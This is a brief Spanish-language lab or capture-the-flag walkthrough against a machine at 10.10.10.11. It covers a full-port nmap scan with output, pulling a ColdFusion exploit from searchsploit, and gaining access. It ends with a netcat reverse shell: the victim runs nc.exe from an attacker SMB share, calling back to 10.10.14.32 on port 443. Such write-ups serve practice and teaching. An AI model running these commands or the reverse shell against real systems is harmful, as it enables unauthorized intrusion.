Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.
nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 16:17 -03
Initiating SYN Stealth Scan at 16:17

Discovered open port 8500/tcp on 10.10.10.11
Completed SYN Stealth Scan at 16:17, 26.50s elapsed (65535 total ports)
Nmap scan report for 10.10.10.11
Host is up, received user-set (0.15s latency).
Scanned at 2025-03-25 16:17:01 -03 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit

Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds
Raw packets sent: 131084 (5.768MB) | Rcvd: 20 (880B)
Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

searchsploit -m cfm/webapps/50057.py
mv 500057.py exploit.py
Ingresamos la información correspondiente.
Ejecutamos el exploit y ganamos acceso al sistema.
Lo que haremos ahora será ganar acceso a través de una shell más estable, para lo cual creamos un recurso compartido en la máquina atancate para compartir el binario de nc.exe.
impacket-smbserver -smb2support share .
Nos ponemos en escucha con Netcat por el puerto 443.
rlwrap nc -lnvp 443
Luego, en la máquina víctima ejecutamos el siguiente comando
\\10.10.14.32\share\nc.exe -e cmd 10.10.14.32 443
